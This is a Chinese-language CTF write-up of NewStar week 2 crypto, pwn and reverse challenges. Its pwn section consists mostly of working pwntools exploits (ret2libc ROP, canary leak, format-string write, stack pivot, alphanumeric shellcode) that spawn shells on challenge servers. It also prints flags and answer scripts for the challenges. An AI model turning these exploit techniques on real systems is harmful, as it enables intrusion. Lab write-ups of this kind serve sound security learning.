[BUUCTF newstar week2] crypto/pwn/reverse

难度上来了，而且比赛加多了，newStar/0xGame/SHCTF，moe也结束了，周末还有TCP1P，来不及写东西了。抓时间先一个个来吧。

crypto

滴啤

就是dp的意思，也就是泄露dp求分解

from Crypto.Util.number import *
import gmpy2
from flag import flag
def gen_prime(number):
    p = getPrime(number//2)
    q = getPrime(number//2)
    return p,q

m = bytes_to_long(flag.encode())
p,q = gen_prime(1024)
print(p*q)
e = 65537
d = gmpy2.invert(e,(p-1)*(q-1))
print(d%(p-1))
print(pow(m,e,p*q))

e = 65537
n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

 

#x*(p-1) = e*dp - 1
for x in range(1,e):
    p = (e*dp - 1)//x + 1
    if gcd(n,p) != 1:
        print(p)
        break 

q=n//p
d = invert(e,(p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(m)     
#flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}

不止一个pi

from flag import flag
from Crypto.Util.number import *
import gmpy2
p = getPrime(1024)
q = getPrime(1024)
n = p**3*q**2
print("q = ",q)
print("p = ",p)
m = bytes_to_long(flag.encode())
c = pow(m,65537,n)
print("c = ",c)

q =  115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p =  171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c =  4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
e = 65537 

这题有点意思，显然可以求出p^3q^2对应的phi来，但不正确，只能用p*q求解

d = invert(e, (p-1)*(q-1))
m = pow(c,d,p*q)
long_to_bytes(m)
#flag{bu_zhi_yige_p1dsaf}

halfcandecode

from Crypto.Util.number import *
import gmpy2
from flag import flag
import os
from hashlib import md5

def gen_prime(number):
    p = getPrime(number // 2)
    q = gmpy2.next_prime(p)
    return p * q

def md5_hash(m):
    return md5(m.encode()).hexdigest()
e = 65537
n = gen_prime(1024)
m1 = bytes_to_long(flag[:len(flag) // 2].encode() + os.urandom(8))
c1 = pow(m1, e, n)
m2 = flag[len(flag) // 2:]
with open("out.txt","w") as f:
    f.write(str(n) + '\n')
    f.write(str(c1) + '\n')
    for t in m2:
        f.write(str(md5_hash(t))+'\n')

n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
c1 = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
c2 = [
'4a8a08f09d37b73795649038408b5f33',
'03c7c0ace395d80182db07ae2c30f034',
'e1671797c52e15f763380b45e841ec32',
'b14a7b8059d9c055954c92674ce60032',
'e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'b14a7b8059d9c055954c92674ce60032',
'8fa14cdd754f91cc6554c9e71929cce7',
'0cc175b9c0f1b6a831c399e269772661',
'4a8a08f09d37b73795649038408b5f33',
'e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'4b43b0aee35624cd95b910189b3dc231',
'cbb184dd8e05c9709e5dcaedaa0495cf']

题目分两步，第1步是pq非常接近时的分解，这个yafu就能直接干，第2步是单字符md5爆破，直接查表也行爆破也行，没有难度的

p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
m1 = long_to_bytes(pow(c1,invert(e, p-1) ,p))
#flag{two_cloabcse_t0_fact0r}
m2 = ''
for i in range(len(c2)):
    for v in range(0x21,0x7f):
        if md5(chr(v).encode()).hexdigest() == c2[i]:
            m2 += chr(v)
            break 

Rotate Xor

from secret import flag
from os import urandom
from pwn import xor
from Cryptodome.Util.number import *
k1 = getPrime(64)
k2 = getPrime(64)
ROUND = 12
ciphertext = xor(flag, long_to_bytes(k1))
def round_rotate_left(num, step):
    return ((num) << step | num >> (64-step)) & 0xffffffffffffffff
def encrypt_key(key):
    for _ in range(ROUND):
        key = round_rotate_left(key, 3) ^ k2
    return key

print('ciphertext =', ciphertext)
print('enc_k1 =', encrypt_key(k1))
print('k2 =', k2)

ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
enc_k1 = 7318833940520128665
k2 = 9982833494309156947

循环移位都不用写程序用原来的就行，然后与k2异或得k1

for _ in range(ROUND):
    enc_k1 = round_rotate_left(enc_k1^k2, 64-3)

xor(ciphertext, long_to_bytes(enc_k1))
#flag{z3_s0lv3r_15_bri11i4nt}

 

partial decrypt

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(512)

n = p*q 

c = pow(m,e,n)

dp = inverse(e, (p-1))
dq = inverse(e, (q-1))
m1 = pow(c,dp, p)
m2 = pow(c,dq, q)
q_inv = inverse(q, p)
h = (q_inv*(m1-m2)) % p
print('m2 =', m2)
print('h =', h)
print('q =', q)

m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

paper题总是会有的。通过最后一个式子得到hq = m1-m2 然后得到m1

m1 = h*q + m2
long_to_bytes(m1)
#b'flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}'

 

broadcast

from secret import flag
from Cryptodome.Util.number import *

menu = '''
Welcome to RSA Broadcasting system

please select your option:

1. brocast the flag
2. exit
'''
e = 17
def broadcast_the_flag():
    p = getPrime(256)
    q = getPrime(256)
    n=p*q
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print('n =', n)
    print('c =', c)
    print('e =', e)
while True:
    print(menu)
    opt = input('> ')
    try:
        opt = int(opt)
        if opt == 1:
            broadcast_the_flag()
        elif opt == 2:
            break
        else:
            print('invalid option')
    except:
        print('oh no, something wrong!')
 

服务会每次生成n,c但e=17不变，典型的广播攻击

from pwn import *

p = remote('node4.buuoj.cn', 26083)
context.log_level = 'debug'

n = []
c = []
for i in range(17):
    p.sendlineafter(b'> ', b'1')
    n.append(int(p.recvline().strip().split(b' = ')[1]))
    c.append(int(p.recvline().strip().split(b' = ')[1]))
    p.recvline()

p.sendlineafter(b'> ', b'2')
print(n)
print(c)
#------------------------------
c17 = crt(c,n)
from gmpy2 import iroot
#iroot(c17,17) (mpz(3670434958110157775238870741600986862160732522647671381021422644325240133745431303227929896983617235809405), True)
bytes.fromhex(hex(iroot(c17,17)[0])[2:])
#b'flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}'

 

PWN

ret2libc

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+10h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic again");
  read(0, buf, 0x100uLL);
  puts("See you next time");
  return 0;
}

没开PIE，一个明显的溢出

from pwn import *

#p = process('./ret2libc')
p = remote('node4.buuoj.cn', 29275)
context(arch='amd64', log_level='debug')

elf = ELF('./ret2libc')
#libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000400763 # pop rdi ; ret
pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
bss = 0x601800

p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x110020
print(f"libc_base = :x")

bin_sh = libc_base + 0x1b3d88
system = libc_base + 0x4f420

p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, system))

p.interactive()

 

canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to NewStar CTF!!");
  puts("Give me some gift?");
  read(0, buf, 0x20uLL);
  puts("Oh thanks,There is my gift:");
  printf(buf);
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}
unsigned __int64 backdoor()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Congratulations!!!");
  execve("/bin/sh", 0LL, 0LL);
  return v1 - __readfsqword(0x28u);
}

前边一个格式化字符串漏洞来得到canary然后溢出到后门

from pwn import *

#p = process('./canary')
p = remote('node4.buuoj.cn', 28428)
context(arch='amd64', log_level='debug')

elf = ELF('./canary')
#libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000400763 # pop rdi ; ret
pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
bss = 0x601800

p.sendafter(b"Give me some gift?\n", b'%11$p\n%13$p\n')
p.recvline()
canary = int(p.recvline(), 16)
libc_base = int(p.recvline(), 16) - 0x2dd90
print(f"libc_base = :x")

bin_sh = libc_base + 0x1dc698
system = libc_base + 0x54d60

p.sendafter(b"Show me your magic\n", b'\x00'*0x28 + flat(canary, 0, 0x401262))
p.interactive()

 

secret number

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int v6; // [rsp+Ch] [rbp-34h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v3 = time(0LL);
  srand(v3);
  secret = rand();
  puts("Welcome to NewStar CTF!!");
  while ( 1 )
  {
    puts("Give me some gift?(0/1)");
    __isoc99_scanf("%d", &v6);
    if ( v6 != 1 )
      break;
    puts("What's it");
    read(0, buf, 0x20uLL);
    puts("Oh thanks,There is my gift:");
    printf(buf);
  }
  puts("Guess the number");
  __isoc99_scanf("%d", &v5);
  if ( v5 == secret )
    system("/bin/sh");
  else
    puts("You are wrong!");
  return 0;
}

前边有个循环的格式化字符串漏洞可以得到secret的值，然后都改成0就行了

 

from pwn import *

#p = process('./secretnumber')
p = remote('node4.buuoj.cn', 25576)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
p.sendafter(b"What's it\n", b'%17$p\n')
p.recvline()
elf_addr = int(p.recvline().strip(),16) - 0x12f5
secret = elf_addr + 0x404c 

p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
p.sendafter(b"What's it\n", b'%9$n'.ljust(8, b'\x00')+ p64(secret))

p.sendlineafter(b"Give me some gift?(0/1)\n", b'0')
p.sendlineafter(b"Guess the number\n", b'0')

p.interactive()

stack migration

int sub_4011FB()
{
  char buf[8]; // [rsp+8h] [rbp-58h] BYREF
  char v2[80]; // [rsp+10h] [rbp-50h] BYREF

  puts("I've never seen you before!");
  puts("your name:");
  read(0, buf, 8uLL);
  printf("Oh, you are %s~\n", buf);
  printf("I have a small gift for you: %p\n", buf);
  puts("more infomation plz:");
  read(0, v2, 0x60uLL);
  puts("OK, nice to see you~");
  return puts("maybe I'll see you soon!");
}

在%p输出时会把buf的所在栈地址输出，得到栈地址，然后溢出16字节，覆盖到rbp,和返回地址，向前移栈得到libc然后回来再getshell

from pwn import *

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26584)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#gdb.attach(p, 'b*0x40128c\nc')

p.sendafter(b"your name:\n", p64(elf.got['puts']))
p.recvuntil(b"I have a small gift for you: ")
stack = int(p.recvuntil(b'more', drop=True), 16)
print(f"{stack = :x}")

bss = 0x404800
leave_ret = 0x4012aa
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret

p.sendafter(b"infomation plz:\n", flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi+1, 0x4011fb).ljust(0x50,b'\x00') + flat(stack, leave_ret))

p.recvline()
p.recvline()
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

p.sendafter(b"your name:\n", p64(elf.got['puts']))
p.recvuntil(b"I have a small gift for you: ")
stack = int(p.recvuntil(b'more', drop=True), 16)
print(f"{stack = :x}")

p.sendafter(b"infomation plz:\n", flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), pop_rsi,0,0, pop_rdi+1, libc.sym['system']).ljust(0x50,b'\x00') + flat(stack, leave_ret))

p.interactive()

shellcode revenge

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+3h] [rbp-11Dh] BYREF
  int i; // [rsp+4h] [rbp-11Ch]
  __int64 v5; // [rsp+8h] [rbp-118h]
  char src[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init();
  v5 = (int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  for ( i = 0; ; ++i )
  {
    if ( i > 255 )
      goto LABEL_9;
    read(0, &buf, 1uLL);
    if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 )// 只有大写字母和数字
      break;
    src[i] = buf;
  }
  puts("Pls input the correct character");
LABEL_9:
  strncpy((char *)0x66660000, src, 0x100uLL);
  JUMPOUT(0x66660000LL);

可以输入一个只有大写字符和字数的shellcode然后执行。

大写字符里有

1:pop rax;pop rcx; 

2:push 大部分寄存器都可以

3:xor [rax],esi; xor esi,[rax]

4：xor eax,X;xor al,X

这里残留的rdi=0利用这个造一个read，呆需要利用xor将后边一个字符异或成syscall即可

from pwn import *

#p = process('./shellcodere')
p = remote('node4.buuoj.cn',25389)
context(arch='amd64',log_level = 'debug')

'''
1,将buf+0x50处异或得到syscall
buf+0x50 = \x0f\x05^\x41\x41
2,恢复rsi=buf+0x50,rax=0,(rdi=0,rdx!=0)进行读
'''
#gdb.attach(p, "b*0x401373\nc")

#rsi=0
shellcode = 'push rsi;push rax;push rsi;push rsp;pop rax; xor esi,[rax];pop rax;pop rax;' #[rax]= rsi,esi=0;
#rsi=0x41414141
shellcode+= 'xor eax,0x41414141;push rax;push rsp;pop rax; xor esi,[rax];'  #rsi=0x41414141
#[buf+0x50]^rsi => \x0f\x05 syscall
shellcode+= 'push rdx; pop rax; xor al,0x50; xor [rax], esi; ' # rcx->buf+0x50 ^ AAAA
#rsi=0
shellcode+= 'push rax; push rsi; push rsp; pop rax; xor esi,[rax]; ' #esi = 0
#rsi=buf+0x50
shellcode+= 'pop rcx; push rsp; pop rax; xor esi,[rax];'  #esi=buf+0x50
#rax=0
shellcode+= 'push rdi; pop rax;'       #rax = 0
pay = asm(shellcode).ljust(0x50, b'P') + p32(0x41414141^0x050f)

p.sendafter(b"Show me your magic\n", pay.ljust(0x100, b'0'))

p.send(b'\x90'*2 + asm(shellcraft.sh()))

p.interactive()

REV

PZthon

pydumpck是个好东西，可以直接把python的exe包解成py文件，免去了给pyc文件加头的麻烦，一个简单异或。

enc = [
    115,121,116,114,110,76,37,96,88,116,113,112,36,97,65,125,103,37,96,114,125,65,39,112,70,112,118,37,123,113,69,79,82,84,89,84,77,76,36,112,99,112,36,65,39,116,97,36,102,86,37,37,36,104]
data = hello()
for i in range(len(data)):
    data[i] = data[i] ^ 21
    if None(None) == data:
        print('WOW!!')
    else:
        print('I believe you can do it!')
        input('To be continue...')

AndroGenshin

一个base64+RC4，但base64码表少1位需要爆破

    public static String encode(byte[] data, String CUSTOM_TABLE) {
        StringBuilder result = new StringBuilder();
        int length = (3 - (data.length % 3)) % 3;
        for (int i = 0; i < data.length; i += 3) {
            int i2 = 0;
            int i3 = ((data[i] & 255) << 16) | ((i + 1 < data.length ? data[i + 1] & 255 : 0) << 8);
            if (i + 2 < data.length) {
                i2 = data[i + 2] & 255;
            }
            int value = i3 | i2;
            for (int j = 0; j < 4; j++) {
                if (j == 3 && i + 2 >= data.length) {
                    result.append('=');
                } else if (j == 2 && i + 1 >= data.length) {
                    result.append('=');
                } else {
                    result.append(CUSTOM_TABLE.charAt((value >> ((3 - j) * 6)) & 63));
                }
            }
        }
        return result.toString();
    }



public class it_is_not_RC4 {
    public static String rc4(String keyStr, int[] data) {
        byte[] key = keyStr.getBytes();
        int[] s = new int[256];
        int[] k = new int[256];
        int j = 0;
        for (int i = 0; i < 256; i++) {
            s[i] = i;
            k[i] = key[i % key.length];
        }
        for (int i2 = 0; i2 < 256; i2++) {
            j = (s[i2] + j + k[i2]) & 255;
            int temp = s[i2];
            s[i2] = s[j];
            s[j] = temp;
        }
        StringBuilder result = new StringBuilder();
        int j2 = 0;
        int i3 = 0;
        for (int i4 : data) {
            i3 = (i3 + 1) & 255;
            j2 = (s[i3] + j2) & 255;
            int temp2 = s[i3];
            s[i3] = s[j2];
            s[j2] = temp2;
            int rnd = s[(s[i3] + s[j2]) & 255];
            result.append((char) (i4 ^ rnd));
        }
        return result.toString();
    }
}

from base64 import *
import string 
b64code = string.ascii_uppercase + string.ascii_lowercase + '0123456789+/='

for ttt in range(256):
    base64_table = [
    125, 239, 101, 151,  77, 163, 163, 110, 
     58, 230, 186, 206,  84,  84, 189, 193, 
     30,  63, 104, 178, 130, 211, 164,  94, 
     75,  16,  32,  33, 193, 160, 120,  47, 
     30, 127, 157,  66, 163, 181, 177,  47, 
      0, 236, 106, 107, 144, 231, ttt,  16, 
     36,  34,  91,   9, 188,  81,   5, 241, 
    235,   3,  54, 150,  40, 119, 202, 150]
    
    key = b"genshinimpact"
    s = [i for i in range(256)]
    k = [key[i%13] for i in range(256)]
    j = 0
    for i in range(256):
        j = (s[i]+j+k[i])&0xff
        s[i],s[j] = s[j],s[i]
    
    res = []
    j2,i3 = 0,0
    for i4 in base64_table:
        i3 = (i3+1)&0xff
        j2 = (s[i3]+j2)&0xff
        s[i3],s[j2] = s[j2],s[i3]
        res.append(i4^s[(s[i3]+s[j2])&0xff])
    
    cod = bytes(res)
    if not all([1 if v in b64code.encode() else 0 for v in cod]): continue 
    #print(bytes(res))
    c = b"YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
    try:
        c2 = ''.join([b64code[cod.index(v)] for v in c])
        print(b64decode(c2))
    except:
        pass

 

SMC

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD *v3; // eax

  v3 = (DWORD *)malloc(0x26u);
  VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
  puts("Please enter your flag:");
  sub_401025("%s", (char)&unk_4033D4);
  if ( NtCurrentPeb()->BeingDebugged )
  {
    MessageBoxA(0, "Debug Detected!", "Warning!", 0);
    Sleep(0x1388u);
    exit(0);
  }
  sub_401042();                                 // SMC
  if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
    puts("Win!");
  else
    puts("Lose!");
  return system("pause");
}

这里调用了sub_401042() 这里把代码修改了。

char sub_401042()
{
  int i; // ecx
  char result; // al

  for ( i = 0; i < 38; ++i )
  {
    result = byte_403068[i & 3];
    byte_403040[i] ^= result;
  }
  return result;
}

 把程序修改后得到反编译的加密代码

char sub_403040()
{
  int v0; // edx

  v0 = 0;
  while ( ((unsigned __int8)byte_4033D4[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
  {
    if ( ++v0 >= 32 )
      return 1;
  }
  return 0;
}

from pwn import xor 

a = open('SMC.exe', 'rb').read()

b = a[0x2040: 0x2040+38]
key = b'\x11\x22\x33\x44'
c = xor(b,key)
d = a[:0x2040]+c+a[0x2040+38:]
#open('smc2.exe', 'wb').write(d)

c = a[0x2020:0x2020+0x20]
b = [(v-5)^0x11 for v in c]
print(bytes(b))

 

Petals

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  puts("Here is a pack of flowers, to my best love --- you.");
  puts("But I must check your identity, please input the right passwd");
  __isoc99_scanf("%s", byte_4080);
  v4 = strlen(byte_4080);
  if ( strlen(byte_4080) != 25 )
  {
    puts("Please check your input's format!");
    exit(-1);
  }
  sub_1209((__int64)byte_4080, v4);
  sub_160C(byte_4080, &unk_4020, v4);
  printf("If you are succeed, the flag is flag{md5(your input)}");
  return 0LL;
}
unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
  int i; // [rsp+18h] [rbp-118h]
  signed int j; // [rsp+1Ch] [rbp-114h]
  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, 256);
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v5 + i) = ~(i ^ a2);
  for ( j = 0; a2 > j; ++j )
    *(_BYTE *)(j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)(j + a1));
  return v6 - __readfsqword(0x28u);
}

没有SMC就简单多了

v5 = [(~(i^25))&0xff for i in range(256)]

enc = bytes.fromhex('D0D085858080C58A9389928F87889F8FC584D6D1D282D3DE87')

flag = [v5.index(v) for v in enc]

a = bytes(flag)
#66ccff#luotianyi#b074d58a

from hashlib import md5
print(md5(a).hexdigest())
#d780c9b2d2aa9d40010a753bc15770de
#flag{d780c9b2d2aa9d40010a753bc15770de}

 

easy_enc

C++写的太难弄了，找不到程序在哪，从字符串表打到这个，然后向前跟踪。

前边还有4段加密，虽然看上去不难，但解不出来，最后只能爆破，由于它是一个个字符处理的，比如说输入4个字符，这4个正确就会输出right。所以可以直接爆破

from subprocess import *
import string 

def getv(s):
    print(s)
    p = Popen("easy_enc.exe", shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)
    p.stdin.write(s.encode()+b'\n')
    p.stdin.flush()
    buff = p.stdout.readline()
    return buff 

flag = ''
for i in range(29):
    for v in string.ascii_letters:
        res = getv(flag+v)
        if b'Right!!' in res:
            flag += v 
            print(flag)
            break

#BruteForceIsAGoodwaytoGetFlag
#flag{BruteForceIsAGoodwaytoGetFlag}
    

 

R4ndom

一个置了种子的随机数加密

unsigned __int64 b(void)
{
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  srand(0x5377654Eu);
  return __readfsqword(0x28u) ^ v1;
}

  s2[0] = 0x3513AB8AB2D7E6EELL;
  s2[1] = 0x2EEDBA9CB9C97B02LL;
  s2[2] = 0x16E4F8C8EEFA4FBDLL;
  s2[3] = 0x383014F4983B6382LL;
  s2[4] = 0xEA32360C3D843607LL;
  s2[5] = 42581LL;
  v8 = 0;
  puts("Can You Find the Secret?");
  puts("Give me your flag");
  *(_QWORD *)s = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0;
  __isoc99_scanf("%s", s);
  if ( strlen(s) != 42 )
    exit(0);
  for ( i = 0; i < strlen(s); ++i )
  {
    v3 = s[i];
    v4 = rand();
    s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
  }
  if ( !memcmp(s, s2, 0x2AuLL) )
    puts("You get the Right Flag!!");
  else
    puts("Maybe your flag is Wrong o.O?");
  return 0;
}

 

from pwn import xor,p64 
from ctypes import *

clibc = cdll.LoadLibrary("./libc.so.6")
#windows msvcrt.dll

clibc.srand(0x5377654E)
v4a = [clibc.rand()%255 for i in range(42)]


msg = open('Random_1', 'rb').read()

s2 = [0]*6
s2[0] = 0x3513AB8AB2D7E6EE
s2[1] = 0x2EEDBA9CB9C97B02
s2[2] = 0x16E4F8C8EEFA4FBD
s2[3] = 0x383014F4983B6382
s2[4] = 0xEA32360C3D843607
s2[5] = 42581

enc = b''.join([p64(i) for i in s2])
print(enc)

table = msg[0x3020: 0x3120]
print(table[:20])

#s = [table[((((i+v4)>>4)&0xf)*16 + 15)& ((i+v4)&0xff)] for i in flag]
s = [table.index(v) for v in enc]


flag = ''
for i in range(42):
    v4 = v4a[i]
    for v in range(0x20,0x7f):
        if ((((v+v4)>>4)&0xf)*16 + 15) & ((v+v4)&0xff) == s[i]:
            flag += chr(v)
            break 

print(flag)

C？C++

.net 的程序用dnSpy打开，并不复杂

namespace ConsoleApp1
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static void Main(string[] args)
		{
			int num = 35;
			int[] array = new int[]
			{
				68,
				75,
				66,
				72,
				99,
				19,
				19,
				78,
				83,
				74,
				91,
				86,
				35,
				39,
				77,
				85,
				44,
				89,
				47,
				92,
				49,
				88,
				48,
				91,
				88,
				102,
				105,
				51,
				76,
				115,
				-124,
				125,
				79,
				122,
				-103
			};
			char[] array2 = new char[35];
			int[] array3 = new int[35];
			Console.Write("Input your flag: ");
			string text = Console.ReadLine();
			for (int i = 0; i < text.Length; i++)
			{
				array2[i] = text[i];
			}
			string text2 = "NEWSTAR";
			for (int j = 0; j < num; j++)
			{
				char[] array4 = array2;
				int num2 = j;
				array4[num2] += (char)j;
				char[] array5 = array2;
				int num3 = j;
				array5[num3] -= ' ';
			}
			for (int k = 0; k < 7; k++)
			{
				char[] array6 = array2;
				int num4 = k;
				array6[num4] += (char)(k ^ (int)(-(int)(text2[k] % '\u0004')));
				char[] array7 = array2;
				int num5 = k + 7;
				array7[num5] += text2[k] % '\u0005';
				char[] array8 = array2;
				int num6 = k + 14;
				array8[num6] += (char)(2 * k);
				char[] array9 = array2;
				int num7 = k + 21;
				array9[num7] += (char)(k ^ 2);
				char[] array10 = array2;
				int num8 = k + 28;
				array10[num8] += text2[k] / '\u0005' + '\n';
			}
			for (int l = 0; l < num; l++)
			{
				int num9 = (int)array2[l];
				array3[l] = num9;
			}
			for (int m = 0; m < 35; m++)
			{
				bool flag = m == 34 && array3[m] == array[m];
				if (flag)
				{
					Console.WriteLine("Right!");
				}
				bool flag2 = array3[m] == array[m];
				if (!flag2)
				{
					Console.WriteLine("Wrong!");
					break;
				}
			}
		}
	}
}

c=[68,75,66,72,99,19,19,78,83,74,91,86,35,39,77,85,44,89,47,92,49,88,48,91,88,102,105,51,76,115,-124,125,79,122,-103]
key = b"NEWSTAR" 
def encrypt(flag):
    flag = [v+i-0x20 for i,v in enumerate(flag)]
    for i in range(7):
        flag[i] += (i^(-(key[i]%4)))&0xff
        flag[i+7] += key[i]%5 
        flag[i+14] += 2*i 
        flag[i+21] += (i^2)&0xff 
        flag[i+28] += key[i]//5 + 10

def decrypt(flag):
    for i in range(7):
        flag[i] -= (i^(-(key[i]%4)))&0xff
        flag[i+7] -= key[i]%5 
        flag[i+14] -= 2*i 
        flag[i+21] -= (i^2)&0xff 
        flag[i+28] -= key[i]//5 + 10
    
    flag = [(v-i+0x20)&0xff for i,v in enumerate(flag)]
    return flag

print(bytes(decrypt(c)))
#flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}       

最后一题没弄成